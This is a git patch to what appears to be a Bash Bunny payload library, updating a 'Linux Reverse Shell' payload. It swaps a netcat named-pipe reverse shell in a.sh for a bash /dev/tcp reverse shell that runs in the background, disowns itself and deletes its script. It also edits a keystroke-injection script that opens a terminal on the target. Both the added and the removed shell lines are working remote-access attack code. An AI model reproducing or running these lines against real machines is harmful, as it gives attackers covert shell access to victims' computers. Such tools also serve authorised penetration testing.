From a48d9e2a618646ece805284db68f3dd2365fa705 Mon Sep 17 00:00:00 2001 From: Wesley Date: Wed, 22 Nov 2017 11:59:18 +1300 Subject: [PATCH] Updated "Linux Reverse Shell" to v1.2 (#262) --- payloads/library/remote_access/LinuxReverseShell/README.md | 4 ++-- payloads/library/remote_access/LinuxReverseShell/a.sh | 5 +---- .../library/remote_access/LinuxReverseShell/payload.txt | 6 +++--- 3 files changed, 6 insertions(+), 9 deletions(-) diff --git a/payloads/library/remote_access/LinuxReverseShell/README.md b/payloads/library/remote_access/LinuxReverseShell/README.md index ba4cb7ac..c3452c3d 100644 --- a/payloads/library/remote_access/LinuxReverseShell/README.md +++ b/payloads/library/remote_access/LinuxReverseShell/README.md @@ -1,7 +1,7 @@ # Linux Reverse Shell for Bash Bunny -Author: tuzzmaniandevil -Version: Version 1.1 +Author: tuzzmaniandevil --creds: hak5darren +Version: Version 1.2 ## Description diff --git a/payloads/library/remote_access/LinuxReverseShell/a.sh b/payloads/library/remote_access/LinuxReverseShell/a.sh index f2de03d7..9f1ec9bb 100644 --- a/payloads/library/remote_access/LinuxReverseShell/a.sh +++ b/payloads/library/remote_access/LinuxReverseShell/a.sh @@ -2,9 +2,6 @@ A="$0" H=$1 P=$2 -rm -rf ~/.a/ -mkdir -p ~/.a/ -mknod ~/.a/p p -/bin/sh -c /bin/sh 0<~/.a/p | nc $H $P 1>~/.a/p & +/bin/bash -c /bin/bash -i > /dev/tcp/$H/$P 0<&1 2>&1 & disown $! rm -f "$A" diff --git a/payloads/library/remote_access/LinuxReverseShell/payload.txt b/payloads/library/remote_access/LinuxReverseShell/payload.txt index 3125ae15..7d6c3318 100644 --- a/payloads/library/remote_access/LinuxReverseShell/payload.txt +++ b/payloads/library/remote_access/LinuxReverseShell/payload.txt @@ -2,7 +2,7 @@ # # Title: Linux Reverse Shell # Author: tuzzmaniandevil -# Version: 1.1 +# Version: 1.2 # # Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself. # @@ -23,8 +23,8 @@ GET SWITCH_POSITION # Set Attack Mode ATTACKMODE HID STORAGE -# Wait for Storage to mount -sleep 5 +# Get the switch position +GET SWITCH_POSITION # Open a terminal Q CTRL-ALT t